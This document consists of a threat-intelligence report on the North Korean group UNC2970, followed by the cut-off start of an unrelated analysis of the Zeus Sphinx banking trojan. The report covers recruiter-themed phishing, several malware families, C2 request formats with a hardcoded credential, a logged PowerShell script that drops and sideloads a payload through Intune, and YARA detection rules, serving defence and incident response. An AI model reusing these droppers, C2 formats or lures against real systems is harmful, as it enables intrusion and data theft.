When conducting phishing operations, UNC2970 engaged with targets initially over LinkedIn masquerading as recruiters. Once UNC2970 contacts a target, they would attempt to shift the conversation to WhatsApp, where they would continue interacting with their target before sending a phishing payload that masqueraded as a job description. In at least one case, UNC2970 continued interacting with a victim even after the phishing payload was executed and detected, asking for screenshots of the detection.
The phishing payloads primarily utilized by UNC2970 are Microsoft Word documents embedded with macros to perform remote-template injection to pull down and execute a payload from a remote command and control (C2). Mandiant has observed UNC2970 tailoring the fake job descriptions to specific targets.
The C2 servers utilized by UNC2970 for remote template injection have primarily been compromised WordPress sites, a trend observed in other UNC2970 code families as well as those used by other DPRK groups. At the time of analysis, the remote template was no longer present on the C2; however, following this phishing activity, Mandiant identified it beaconing to a C2 associated with PLANKWALK.
In the most recent UNC2970 investigation, Mandiant observed the group returning to WhatsApp to engage their targets. This activity overlaps with a recent blog post by MSTIC on operations from ZINC, as well as the previously mentioned Mandiant blog post from July 2022.
The ZIP file delivered by UNC2970 contained what the victim thought was a skills assessment test for a job application. In reality, the ZIP contained an ISO file, which included a trojanized version of TightVNC that Mandiant tracks as LIDSHIFT. The victim was instructed to run the TightVNC application which, along with the other files, are named appropriately to the company the victim had planned to take the assessment for.
In addition to functioning as a legitimate TightVNC viewer, LIDSHIFT contained multiple hidden features. The first was that upon execution by the user, the malware would send a beacon back to its hardcoded C2; the only interaction this needed from the user was the launching of the program. This lack of interaction differs from what MSTIC observed in their recent blog post. The initial C2 beacon from LIDSHIFT contains the victim’s initial username and hostname.
LIDSHIFT’s second capability is to reflectively inject an encrypted DLL into memory. The injected DLL is a trojanized Notepad++ plugin that functions as a downloader, which Mandiant tracks as LIDSHOT. LIDSHOT is injected as soon as the victim opens the drop down inside of the TightVNC Viewer application. LIDSHOT has two primary functions: system enumeration and downloading and executing shellcode from the C2.
LIDSHOT sends the following information back to its C2:
- Computer Name
- Product name as recorded in the following registry key: SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
- IP address
- Process List with User and Session ID associated per process
## Establish Foothold
In multiple investigations, Mandiant has observed UNC2970 deploy PLANKWALK to establish footholds within environments. PLANKWALK is a backdoor written in C++ that communicates over HTTP and utilizes multiple layers of DLL sideloading to execute an encrypted payload. PLANKWALK is initially executed through a launcher that will import and execute a second stage launcher expected to be on disk.
Observed First Stage Launcher names:
- destextapi.dll
- manextapi.dll
- pathextapi.dll
- preextapi.dll
- Wbemcomn.dll
Once loaded and executed, the secondary launcher will attempt to decrypt and execute an encrypted PLANKWALK sample on disk that matches the following pattern: C:\ProgramData\Microsoft\Vault\cache<three numerical digits>.db. Once executed, PLANKWALK will decrypt an on-host encrypted configuration file that contains the C2 for the backdoor. The C2 for PLANKWALK has largely been co-opted by legitimate WordPress sites.
Following the deployment of PLANKWALK, Mandiant observed UNC2970 leverage a wide variety of additional tooling, including Microsoft InTune to deploy a shellcode downloader.
## Tool Time: Kim “The Toolman” Taylor
During their operations, Mandiant has observed UNC2970 use a wide range of custom, post-exploitation tooling to achieve their goals. One of UNC2970's go-to tools has been a dropper tracked as TOUCHSHIFT. TOUCHSHIFT allows UNC2970 to employ follow-on tooling that range from keyloggers and screenshot utilities to full-featured backdoors.
### TOUCHSHIFT
TOUCHSHIFT is a malicious dropper that masquerades as mscoree.dll or netplwix.dll. TOUCHSHIFT is typically created in the same directory and simultaneously as a legitimate copy of a Windows binary. TOUCHSHIFT leverages DLL Search Order Hijacking to use the legitimate file to load and execute itself. TOUCHSHIFT has been observed containing one to two various payloads which it executes in memory. Payloads that have been seen include TOUCHSHOT, TOUCHKEY, HOOKSHOT, TOUCHMOVE, and SIDESHOW.
To appear legitimate, the file uses over 100 exports that match common system export names. However, the majority all point to the same empty function. The malicious code has been seen located in exports LockClrVersion or UsersRunDllW in different instances.
When TOUCHSHIFT contains a second payload, it takes a single character command line option as its first argument to determine which of the two payloads to execute.
To unpack its payload(s), TOUCHSHIFT generates a decryption key by XOR encoding its second argument and the first 16 characters of the legitimate executable’s file name.
For example, in one instance Mandiant observed the arguments -CortanaUIFilter, XOR encoded with the hardcoded key 009WAYHb90687PXkS, and printfilterpipel, which was XOR encoded with the hardcoded key .sV%58&.lypQ[$= and was loaded by the file printfilterpipelinesvc.exe. In another instance, the argument used was --forkavlauncher and the loading file was C:\windows\Branding\Netplwiz.exe.
Once the code is unpacked, it is then loaded into a memory location created by a call to VirtualAlloc and executed from there. Once the payload(s) has/have been executed, the main portion of TOUCHSHIFT will sleep for a period of time allowing the payload(s) to continue executing.
### TOUCHSHOT
TOUCHSHOT takes screenshots of the system on which it is running and saves them to a file to be retrieved by the threat actor at a later time. TOUCHSHOT is configured to take a screenshot every three seconds and then uses ZLIB to compress the images. The compressed data is then appended to a file that it creates and continues appending new screenshots to this file until the file reaches five megabytes in size, at which point it will create a new file with the same naming convention. TOUCHSHOT was seen embedded in the same instance of TOUCHSHIFT as TOUCHKEY.
TOUCHSHOT will create a file in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Themes\ directory, and will name the file ~DM{####}P.dat, where the four numbers are pseudo-randomly generated. Once TOUCHSHOT has generated the file name, it attempts to create a handle to the file. If the return value indicates that the file does not exist, it will then create the file. This check is performed as part of a loop that continues until a new file needs to be created. After each iteration of the loop, TOUCHSHOT will then take a screenshot, which is appended to the staging file.
### TOUCHKEY
TOUCHKEY is a keylogger that captures keystrokes and clipboard data, both of which are encoded with a single-byte XOR and saved to a file. As with TOUCHSHOT, these files need to be acquired by the threat actor through additional means.
TOUCHKEY creates two files in the C:\Users\{user}\AppData\Roaming\Microsoft\Windows\Templates\ directory. The file name Normal.dost is used for storing the captured keystrokes, while the file name Normal.docb is used for the clipboard data. The full paths are then passed into their own thread, where the keystrokes or clipboard data will be captured and appended to their respective files.
In one of the created threads, TOUCHKEY will open the clipboard and grab the data that is stored within it. In the other thread, TOUCHKEY will set a hook into the keyboard and record any keys that are pressed.
### HOOKSHOT
HOOKSHOT is a tunneler that leverages a statically linked implementation of OpenSSL to communicate back to its C2. While it connects over TCP, it does not make use of a client certificate for encryption.
HOOKSHOT takes an encoded argument containing two IP and port pairs, which it will leverage for communicating with its C2.
HOOKSHOT will then create a socket using these two IP addresses and tunnel traffic across them utilizing TLSv1.0.
### TOUCHMOVE
TOUCHMOVE is a loader that decrypts a configuration file and a payload, both of which must be on disk, and then executes the payload. TOUCHMOVE generates an RC6 key to decrypt the two files by querying the system’s BIOS date, version, manufacturer, and product name. Once decrypted, the results are XOR encoded with a hardcoded key. If the generated RC6 key is incorrect, the configuration and payload files will not successfully decrypt, indicating that UNC2970 compiles instances of TOUCHMOVE after having already conducted reconnaissance on the target victim system. Once the RC6 key is successfully generated, a handle is created to the configuration file, and the decryption process is conducted. If the configuration file is successfully decrypted, the payload’s full path is located within it, and the same decryption process then occurs on the payload. Following this, the payload is executed.
### SIDESHOW
SIDESHOW is a backdoor written in C/C++ that communicates via HTTP POST requests with its C2 server. The backdoor is multi-threaded, uses RC6 encryption, and supports at least 49 commands. Capabilities include arbitrary command execution (WMI capable); payload execution via process injection; service, registry, scheduled task, and firewall manipulation; querying and updating Domain Controller settings; creating password protected ZIP files; and more. SIDESHOW does not explicitly establish persistence; however, based on the multitude of supported commands it may be commanded to establish persistence.
SIDESHOW derives a system-specific RC6 key using the same registry values as TOUCHMOVE and uses the generated key to decrypt the same configuration file from disk that TOUCHMOVE decrypted. The decrypted configuration file contains a list of C2 URLs to which SIDESHOW communicates using HTTP POST requests. SIDESHOW iterates this C2 URL list and attempts to authenticate to each C2 URL until it is successful. Once successful, SIDESHOW enters a state of command processing and sends additional HTTP POST requests to retrieve commands. SIDESHOW attempts to use the system's default HTTP User-Agent string during C2 communications; however, if not available it uses the hard-coded HTTP User-Agent string:
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69
```
When communicating to its C2 server via HTTP POST requests, SIDESHOW forms a URI parameter string consisting of a mix of randomly selected and hard-coded URI parameters.
Authentication requests use the following URI parameter string format:
```
1<param_1>=<hex_seed>&<param_2>=pAJ9dk4OVq85jxKWoNfw1AG2C&<param_3>=<16_random_hex_chars>
```
The first URI parameter value comes from SIDESHOW’s configuration and is used to seed the random function. The second URI parameter value, pAJ9dk4OVq85jxKWoNfw1AG2C, is hardcoded and likely an authentication credential. The third URI parameter value, <16_random_hex_chars>, is a session identifier (<session_id>) used for future communications and consists of two subcomponents:
1. <8_random_hex_based_on_seed>
2. <8_random_hex_based_on_tickcount>
The first URI parameter's value, <hex_seed>, is used as a random seed value to derive the first eight hexadecimal characters (<8_random_hex_based_on_seed>), whereas the last eight hexadecimal characters (<8_random_hex_based_on_tickcount>) are derived using the CPU's current tick count as the random seed value. This results in the value <8_random_hex_based_on_seed> being deterministic, while <8_random_hex_based_on_tickcount> is pseudo-random.
The following is an example authentication URI parameter string:
```
1pguid=A59&ssln=pAJ9dk4OVq85jxKWoNfw1AG2C&cup2key=184B280E341AE63F
```
SIDESHOW parses the response and considers it a successful authentication if it contains the string `<!DOCTYPE html>`. Command requests use the following URI parameter string format (notice that the <param_2> and <param_3> have switched locations in the string):
```
1<param_1>=<5_random_digits>&<param_3>=2<session_id>&<param_2>=<6_random_digits>
```
Example command URI parameter string:
```
1other=37685&session=2184B280E341AE63F&page=593881
```
SIDESHOW parses the command response body and extracts data following the string `<!DOCTYPE html>`. SIDESHOW then appears to Base64 decode and RC6 decrypt the extracted data. SIDESHOW responds to the commands listed in the table below (commands are described on a best effort basis).
| Command ID | Description |
|------------|-------------|
| 00 | Get lightweight system information and a few configuration details |
| 01 | Enumerate drives and list free space |
| 02 | List files in directory |
| 03 | Execute arbitrary command via CreateProcess() and return output |
| 04 | Likely zip directory to create password protected ZIP file with password AtbsxjCiD2axc*ic[3</8Ad81!G./1kiThAfkgnw |
| 05 | Download file to system |
| 06 | Execute process |
| 07 | Execute process and spoof parent process identifier (PID) |
| 08 | Execute PE payload via process injection for specified PID |
| 09 | Execute PE payload via loading into malware's memory space |
| 0A | List running processes and loaded DLLs |
| 0B | Terminate process |
| 0C | Securely delete a file by first writing random data and then calling DeleteFile() |
| 0D | Connect to specified IP address and port -- use unknown |
| 0E | Not implemented |
| 0F | Set current directory |
| 10 | Timestomp a file using another file's timestamp |
| 11 | Update beacon interval |
| 12 | Update beacon interval and save configuration to disk |
| 13 | Clean up by securely deleting supporting files, registry values, services, and exit |
| 14 | Load configuration from disk |
| 15 | Update configuration and save to disk |
| 16 | Get size of all files in a directory |
| 17 | Get specified drive's free disk space |
| 18 | Suspend a process |
| 19 | Suspend a process |
| 1A | Load DLL in another process |
| 1B | Unload DLL in another process |
| 1C | Copy file to another location |
| 1D | Remove directory |
| 1E | Move file to another location |
| 1F | Execute shellcode payload via process injection for specified PID |
| 20 | Execute shellcode payload via loading into malware's memory space |
| 21 | Get networking configuration information |
| 22 | Query or modify settings on a Windows Domain Controller |
| 23 | Query or modify system's firewall settings |
| 24 | List active TCP and UDP connections |
| 25 | Ping a remote system via ICMP requests -- usage unknown |
| 26 | Query or modify system's registry |
| 27 | Query or modify system's services |
| 28 | Ping a remote system via ICMP requests -- usage unknown |
| 29 | Get domain and user account name for which the malware's process is running under |
| 2A | Execute WMI command |
| 2B | Resolve domain name via DNS query |
| 2C | Query or modify system's scheduled tasks |
| 2D | Get heavyweight system information |
| 2E | Get networking interface information |
| 2F | Create directory |
| 30 | List files in directory |
## Reaching for the Clouds: Intune with CLOUDBURST
In at least one investigation, Mandiant identified the threat actors leveraging Microsoft Intune, Microsoft's endpoint management solution, to deploy malware to hosts in the environment. Mandiant suspects that this method of malware deployment was used due to the absence of a VPN solution for remote machines. In order to remotely execute code, the attackers leveraged the Microsoft Intune management extension (IME) to upload custom PowerShell scripts containing malicious code to various hosts in the client environment. While conducting forensic analysis on a host, Mandiant identified the following Microsoft IME related PowerShell script command line arguments:
```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -executionPolicy bypass -file "C:\Program Files (x86)\Microsoft Microsoft IME\Policies\Scripts\42fb3cca-48dd-4412-a11a-245384544402_f391eded-82d3-4506-8bf4-9213f6f4d586.ps1"
```
At the time of analysis, Mandiant was unable to acquire the PS1 file itself; however, Mandiant was able to acquire a full copy of the PS1 file from local Microsoft IME logs identified on a host, located at:
```
C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension-YYYYMMDD-HHMMSS.log
```
The entry in the local logs appeared as follows:
```
<![LOG[[PowerShell] response payload is [{"AccountId":"[userGUID]","PolicyId":"f391eded-82d3-4506-8bf4-9213f6f4d586","PolicyType":1,"DocumentSchemaVersion":"1.0","PolicyHash":"P23cVfMyHLECSGPt1T6YYcoxhCLWKS05jX5MukC3MIw=","PolicyBody":"$EnModule = \"[Base64_encoded_CLOUDBURST_payload]\"\r\n$DeModule = [System.Convert]::FromBase64CharArray($EnModule, 0, $EnModule.Length)\r\nSet-Content \"C:\\ProgramData\\mscoree.dll\" -Value $DeModule -Encoding Byte\r\nCopy-Item \"C:\\Windows\\System32\\PresentationHost.exe\" -Destination \"C:\\ProgramData\"\r\nStart-Process -NoNewWindow -FilePath \"C:\\ProgramData\\PresentationHost.exe\" -ArgumentList \"-embeddingObject\"\r\n","PolicyBodySize":null,"PolicyScriptParameters":null,"ContentSignature":"[Base64_encoded_signing_certificate]","isTombStoned":false,"isRecurring":false,"isFullSync":false,"ExecutionContext":0,"InternalVersion":1,"EnforceSignatureCheck":false,"RunningMode":1,"RemediationScript":null,"RunRemediation":false,"RemediateScriptHash":null,"RemediationScriptParameters":null,"ComplianceRules":null,"ExecutionFrequency":0,"RetryCount":0,"BlockExecutionNotifications":false,"ModifiedTime":null,"Schedule":null,"IsFirstPartyScript":false,"TargetScriptApplicabilityStateDueToAssignmentFilters":null,"AssignmentFilterIdToEvalStateMap":{},"HardwareConfigurationMetadata":null}]]LOG]!><time="06:59:15.2941778" date="6-9-2022" component="IntuneManagementExt" context="" type="1" thread="5" file="">
```
The malicious PowerShell script was used to decode the Base64 encoded CLOUDBURST payload and drop it on disk as C:\ProgramData\mscoree.dll. The script would then write a copy of C:\Windows\System32\PresentationHost.exe to C:\ProgramData and execute it with the argument -embeddingObject. PresentationHost.exe is a legitimate Windows binary used by UNC2970 to sideload CLOUDBURST.
Upon execution, PresentationHost.exe would load the CLOUDBURST payload into memory. Upon further analysis of the Microsoft IME endpoint logs, Mandiant identified a unique GUID, f391eded-82d3-4506-8bf4-9213f6f4d586, in the PolicyID field, which is a "Unique identifier of the Policy in the data warehouse". The Intune Data Warehouse provides insight and information about an enterprise mobile environment, such as historical Intune data and Intune data refreshed on a daily occurrence. The identified GUID also matched the GUID of the PowerShell script file name and the GUID observed in an IME associated registry key.
When reviewing the Intune Tenant admin Audit logs, Mandiant identified the same GUID under the ObjectID field. The Intune Tenant audit logs show records of activities that generate a change in Intune, including create, update (edit), delete, assign, and remote actions. The logs revealed that the threat actors used a previously compromised account to perform a create, assign, patch, and finally a delete action of a Device Management Script, using the Target Microsoft.Management.Services.Api.DeviceManagementScript and the GroupID f391eded-82d3-4506-8bf4-9213f6f4d586.
Further analysis revealed that ObjectID GUIDs referenced in the Intune Tenant admin Audit logs map to the ID of Mobile App assignment groups. At the time of analysis, the GroupID f391eded-82d3-4506-8bf4-9213f6f4d586 was no longer present in the Intune Endpoint management admin center and was likely deleted by the threat actors.
In order to determine malicious usage of Microsoft Intune, Mandiant performed the following analysis steps:
1. Analyzed AzureAD sign-in logs for evidence of suspicious logons to the Microsoft Intune application.
2. Analyzed Microsoft Intune audit logs for evidence of unexpected deployments and performed the following:
- Utilized the GroupID GUID to search for the presence of the following endpoint artifacts:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IntuneManagementExtension\Policies\<UserGUID>\<suspicious ObjectID GUID>
- C:\Program Files (x86)\Microsoft Microsoft IME\Policies\Scripts\<UserGUID>_<suspicious ObjectID GUID>.ps1
3. For hosts that had the aforementioned artifacts, the following was performed:
- Acquired the PS1 file(s) and analyzed for malicious code.
- Performed traditional endpoint analysis.
Mandiant tracks the malware being distributed via Intune as CLOUDBURST. CLOUDBURST is a downloader written in C that communicates via HTTP. The malware attempts to make itself look like a legitimate version of mscoree.dll, but contains fake exports, the same way that TOUCHSHIFT uses fake exports. One variant of CLOUDBURST made use of legitimate open-source software that was added as exports, in addition to the fake exports. The actual export with malicious code is CorExitProcess. The CorExitProcess export expects the single argument -embeddingObject.
Once the aforementioned command line argument has been verified, CLOUDBURST builds the domain as a stack string and sends out the two following requests to the C2 server:
```
hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=<random_dword>&type=O8Akm8aV09Nw412KMoWJd
hxxps://[c2domain]/wp-content/plugins/contact.php?gametype=tennis&type=k<random_dword>
```
Following the network connections, CLOUDBURST conducts a host survey, in which it will determine the Product Name, Computer Name, and enumerate running processes. Upon completion of the host enumeration, CLOUDBURST then downloads and executes shellcode from the C2 server. At this time, Mandiant was unable to recover and identify the purpose of the shellcode downloaded by CLOUDBURST.
## Outlook and Implications
The identified malware tools highlight continued malware development and deployment of new tools by UNC2970. Although the group has previously targeted defense, media, and technology industries, the targeting of security researchers suggests a shift in strategy or an expansion of its operations. Technical indicators and the group’s TTPs link it to TEMP.Hermit, although this latest activity suggests the group is adapting their capabilities as more of their targets move to cloud services. To learn more about how UNC2970 further enabled its operations, please see part two of our research.
## Campaign Tracking
Mandiant will continue to monitor UNC2970’s campaigns and intrusion operations and will provide notable and dynamic updates regarding changes in tactics and techniques, the introduction of tools with new capabilities, or the use of new infrastructure to carry out their mission. For more insights into how Mandiant tracks this and similar campaigns, see our Threat Campaigns feature within Mandiant Advantage Threat Intelligence.
## Recommended Mitigations
### Hardening Azure AD and Microsoft Intune
Mandiant has observed UNC2970 leverage weak identity controls in Azure AD combined with Microsoft Intune’s endpoint management capabilities to effectively deploy malicious PowerShell scripts onto unsuspecting endpoints. Increasing Azure AD identity protections and limiting access to Microsoft Intune is essential in mitigating the attacker activity observed by Mandiant. Organizations should consider implementing the following hardening controls:
- **Cloud-Only Accounts**: Organizations should utilize cloud-only accounts for privileged access within Azure AD (e.g., Global Admins, Intune Administrator) and never assign privileged access to synced accounts from on-premises identity providers such as Active Directory. Additionally, admins should utilize a separate “daily-driver” account for day-to-day activities such as sending email or web-browsing. Dedicated admin accounts should be utilized to carry out administrative functions only.
- **Enforce Strong Multi-Factor Authentication Methods**: Organizations should consider enforcing enhanced and phishing-resistant Multi-Factor Authentication (MFA) methods for all users and administrators. Weak MFA methods commonly include SMS, Voice (phone call), OTPs, or Push notifications and should be considered for removal. MFA enhancements for non-privileged users should include contextual information regarding the MFA request such as number-matching, application name, and geographic location. For privileged accounts, Mandiant recommends the enforcement of hardware tokens or FIDO2 Security Keys as well as requiring MFA per each sign-in regardless of location (e.g., Trusted Network, Corporate VPN). As an initial rollout for enhanced MFA methods, organizations should focus on all accounts with administrative privileges in Azure AD. Microsoft has additional information regarding contextual MFA settings.
- **Privileged Identity Management (PIM) Solution**: Mandiant recommends that organizations consider utilizing a PIM solution. A PIM solution should include a Just-In-Time (JIT) access capability which will provide access when requested, for a specific duration of time, and should initiate an approval flow prior to providing an account access to a highly privileged role (e.g., Global Administrator or Intune Administrator).
- **Conditional Access Policies (CAPs) to Enforce Security Restrictions in Azure AD**: A CAP allows organizations to set requirements for accessing cloud apps such as Intune, based on various conditions including location and device platform. Mandiant recommends that organizations utilize CAPs to restrict Azure administrative functions to only compliant and registered devices in Azure AD and only from a specific subset of trusted IPs or ranges. Microsoft has more information on leveraging CAPs to access Cloud Apps.
- **Azure Identity Protection**: Azure Identity Protection is a security feature within Azure Active Directory that allows organizations to automate the detection and remediation of identity-based risks. Identity Protection analyzes user account activity as well as sign-in activity to identify potentially compromised accounts or unauthorized authentication requests. Identity Protection data can be leveraged to enhance Conditional Access Policies by enforcing access controls based on user or sign-in risk. Additionally, Identity Protection risk data should be exported to a Security Information and Event Management (SIEM) solution for further correlation and analysis. Note: Azure Identity Protection requires an Azure AD Premium P2 License.
- **Multi Admin Approval with Intune**: To prevent unauthorized changes, organizations utilizing Intune should implement the Multi Admin Approval feature. This feature enforces a multiple administrative approval process that requires secondary admin approval before modifying or creating Script and App deployments. Note: As of February 2023, Multi Admin Approval is in Public Preview and does not yet support request notifications. Requests will need to be manually communicated to expedite the approval workflow. Microsoft has more information regarding Multi Admin Approval.
### Additional Security Controls
- **Block Office Macros**: While Microsoft has changed the default behavior of Office applications to block macros from the internet, Mandiant still recommends organizations proactively deploy policies to control and enforce the behavior of office files containing macros. Microsoft has more information on using policies to manage how Office handles macros.
- **Disable Disk Image Auto-Mount**: Mandiant has observed UNC2970 utilize trojanized ISO files containing malicious payloads to bypass security controls and trick victims into executing malware. On Windows systems, the option to mount an ISO by “right-clicking” the file then selecting “Mount” from the context menu can be removed by deleting the registry keys associated with image file types (.iso, .img, .vhd, .vhdx). Deleting these registry keys will also prevent a user from auto-mounting an image file by “double-clicking” the file.
- **Enhance PowerShell Logging**: Increase PowerShell logging to provide security engineers and investigators the visibility needed to detect malicious activity and provide a historical record of how PowerShell was used on systems. For additional details regarding enhancing PowerShell logging, please reference the Mandiant blog post, “Greater Visibility Through PowerShell Logging”.
## Indicators of Compromise
| IOC | Signature |
|--------------------------------------------------------------------------------------------------|-----------|
| e97b13b7e91edeceeac876c3869cc4eb | PLANKWALK |
| a9e30c16df400c3f24fc4e9d76db78ef | PLANKWALK |
| f910ffb063abe31e87982bad68fd0d87 | PLANKWALK |
| 30358639af2ecc217bbc26008c5640a7 | LIDSHIFT |
| 41dcd8db4371574453561251701107bc | LIDSHOT |
| 866f9f205fa1d47af27173b5eb464363 | TOUCHSHIFT |
| 8c597659ede15d97914cb27512a55fc7 | TOUCHSHIFT |
| a2109276dc704dedf481a4f6c8914c6e | TOUCHSHIFT |
| 3bf748baecfc24def6c0393bc2354771 | TOUCHSHOT |
| 91b6d6efa5840d6c1f10a72c66e925ce | TOUCHKEY |
| 300103aff7ab676a41e47ec3d615ba3f | HOOKSHOT |
| 49425d6dedb5f88bddc053cc8fd5f0f4 | TOUCHMOVE |
| abd91676a814f4b50ec357ca1584567e | SIDESHOW |
| 05b6f459be513bf6120e9b2b85f6c844 | CLOUDBURST |
## Mandiant Security Validation Actions
Organizations can validate their security controls using the following actions with Mandiant Security Validation.
| VID | Name |
|--------------|-----------------------------------------------------------------------------------------------|
| A105-491 | Command and Control - QUESTDOWN, Exfiltration, Variant #1 |
| A105-492 | Command and Control - QUESTDOWN, Exfiltration, Variant #2 |
| A105-493 | Command and Control - QUESTDOWN, Next Stage Download Attempt, Variant #1 |
| A105-494 | Command and Control - QUESTDOWN, Status, Variant #1 |
| A105-507 | Phishing Email - Malicious Attachment, PLANKWALK Downloader, Variant #1 |
| A105-508 | Phishing Email - Malicious Attachment, QUESTDOWN Dropper, Variant #1 |
| A105-514 | Protected Theater - QUESTDOWN, Execution, Variant #1 |
| S100-218 | Malicious Activity Scenario - Campaign 22-046, QUESTDOWN Infection |
## Signatures
### PLANKWALK
```plaintext
rule M_Hunt_APT_PLANKWALK_Code_String {
meta:
author = "Mandiant"
description = "Detects a format string containing code and token found in PLANKWALK"
strings:
$hex = { 63 6F 64 65 [1-6] 3D 25 64 26 [1-6] 75 73 65 72 [1-6] 3D 25 73 26 [1-6] 74 6F 6B 65 }
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $hex
}
```
### LIDSHIFT
```plaintext
rule M_APT_Loader_Win_LIDSHIFT_1 {
meta:
author = "Mandiant"
description = "Detects LIDSHIFT implant"
strings:
$anchor1 = "%s:%s:%s" ascii
$encloop = { 83 ?? 3F 72 ?? EB ?? 8D ?? ?? B8 ?? 41 10 04 F7 ?? 8B ?? 2B ?? D1 ?? 03 ?? C1 ?? 05 6B ?? 3F 2B ?? 42 0F ?? ?? ?? 41 ?? ?? }
condition:
uint16(0) == 0x5a4d and all of them
}
```
### LIDSHOT
```plaintext
rule M_APT_Loader_Win_LIDSHOT_1 {
meta:
author = "Mandiant"
description = "Detects LIDSHOT implant"
strings:
$code1 = { 4C 89 6D ?? 4C 89 6D ?? C7 45 ?? 01 23 45 67 C7 45 ?? 89 AB CD EF C7 45 ?? FE DC BA 98 C7 45 ?? 76 54 32 10 4C 89 6C 24 ?? 48 C7 45 ?? 0F 00 00 00 C6 44 24 ?? 00 }
$code2 = { B8 1F 85 EB 51 41 F7 E8 C1 FA 03 8B CA C1 E9 1F 03 D1 6B CA 19 }
$code3 = { C7 45 ?? 30 6B 4C 6C 66 C7 45 ?? 55 00 }
condition:
uint16(0) == 0x5a4d and all of them
}
```
### CLOUDBURST
```plaintext
rule M_APT_Loader_Win_CLOUDBURST_1 {
meta:
author = "Mandiant"
strings:
$anchor1 = "Microsoft Enhanced Cryptographic Provider v1.0" ascii wide
$code1 = { 74 79 70 }
$code2 = { 65 71 75 69 }
$code3 = { 62 6F 78 69 }
$code4 = { E8 ?? ?? ?? ?? FF C6 B8 99 99 99 99 F7 EE D1 FA 8B C2 C1 E8 1F 03 D0 8D 04 16 8D 34 90 85 F6 75 ?? }
$str1 = "%s%X"
condition:
uint16(0) == 0x5a4d and all of them
}
```
### TOUCHSHIFT
```plaintext
rule M_DropperMemonly_TOUCHSHIFT_1 {
meta:
author = "Mandiant"
description = "Hunting rule for TOUCHSHIFT"
strings:
$p00_0 = {0943??eb??ff43??b0??eb??e8[4]c700[4]e8[4]32c0}
$p00_1 = {4c6305[4]ba[4]4c8b0d[4]488b0d[4]ff15[4]4c6305[4]ba[4]4c8b0d[4]488b0d}
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
(
($p00_0 in (70000..90000) and $p00_1 in (0..64000))
)
}
```
### SIDESHOW
```plaintext
rule M_APT_Backdoor_Win_SIDESHOW_1 {
meta:
author = "Mandiant"
description = "Detects string deobfuscation function in SIDESHOW, may also detect other variants of malware from the same actor"
strings:
$code1 = { 41 0F B6 ?? 33 ?? 48 ?? ?? 0F 1F 80 00 00 00 00 3A ?? 74 ?? FF ?? 48 FF ?? 83 ?? 48 72 ?? EB ?? 41 0F ?? ?? 2B ?? ?? 39 8E E3 38 83 ?? 48 F7 ?? C1 ?? 04 8D ?? ?? C1 ?? 03 2B ?? ?? 39 8E E3 38 }
condition:
uint16(0) == 0x5a4d and (all of them)
}
```
### TOUCHKEY
```plaintext
rule M_Hunting_TOUCHKEY {
meta:
author = "Mandiant"
description = "Hunting rule For TOUCHKEY"
strings:
$a1 = "Normal.dost"
$a2 = "Normal.docb"
$c1 = "[SELECT]" ascii wide
$c2 = "[SLEEP]" ascii wide
$c3 = "[LSHIFT]" ascii wide
$c4 = "[RSHIFT]" ascii wide
$c5 = "[ENTER]" ascii wide
$c6 = "[SPACE]" ascii wide
condition:
(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550
and filesize < 200KB and (5 of ($c*)) and $a1 and $a2
}
```
### TOUCHSHOT
```plaintext
rule M_Hunting_TOUCHSHOT {
meta:
author = "Mandiant"
description = "Hunting rule For TOUCHSHOT"
strings:
$path = "%s\\Microsoft\\Windows\\Themes\\" wide
$format = "%04d%02d%02d-%02d%02d%02d"
$s1 = "EnumDisplaySettingsExW" ascii
$s2 = "GetSystemMetrics" ascii
$s3 = "GetDC" ascii
$s5 = "ReleaseDC" ascii
condition:
(uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550
and filesize < 200KB and (3 of ($s*)) and $path and $format
}
```
### HOOKSHOT
```plaintext
rule M_Hunting_HOOKSHOT {
meta:
author = "autopatt"
description = "Hunting rule for HOOKSHOT"
strings:
$p00_0 = {8bb1[4]408873??85f675??488b81[4]488b88[4]4885c974??e8}
$p00_1 = {8bf3488bea85db0f84[4]4c8d2d[4]66904c8d4424??8bd6488bcd}
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
(
($p00_0 in (470000..490000) and $p00_1 in (360000..380000))
)
}
```
## Acknowledgements
Special thanks to John Wolfram, Rich Reece, Colby Lahaie, Dan Kelly, Joe Pisano, Jeffery Johnson, Fred Plan, Omar ElAhdan, Renato Fontana, Daniel Kennedy, and all the members of Mandiant Intelligence and Consulting that supported these investigations. We would also like to thank Lexie Aytes for creating Mandiant Security Validation (MSV) actions, as well as Michael Barnhart, Jake Nicastro, Geoff Ackerman, and Dan Perez for their technical review and feedback. |
# Zeus Sphinx Back in Business: Some Core Modifications
The Zeus Sphinx banking Trojan is financial malware that was built upon the existing and leaked codebase of the forefather of many other Trojans in this class: Zeus v2.0.8.9. Over the years, Sphinx has been in different hands, initially offered as a commodity in underground forums and then suspected to be operated by various closed gangs. After a lengthy hiatus, this malware began stepping up attack campaigns starting in late 2019 and increased its spreading power in the first quarter of 2020 via malspam featuring coronavirus relief payment updates.
With Sphinx back in the financial cybercrime arena, IBM X-Force wrote the following technical analysis of the Sphinx Trojan’s current version, which was first released into the wild in late 2019. We will be covering the following components, shedding light on parts of the malware that were modified in this version, as other parts likely remained the same:
- Persistence mechanism
- Injection tactics
- Bot configuration
- Hidden configuration nuggets
- Bot identification method
- Sphinx’s naming algorithms
Let’s dive in.
## Establishing Persistence
Almost any malware nowadays seeks to establish persistence on infected devices, both desktop and mobile, with the goal of surviving system reboots. Sphinx establishes persistence using a very common method: adding a Run key to the Windows Registry. This tactic has been used by Sphinx since its earliest versions, released in 2015.
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```
Since Sphinx’s malicious payload can come in two different formats, an executable file or a dynamic link library (DLL), it also sets the Registry Run key according to the format being installed. For the DLL format, we would see the following string type created:
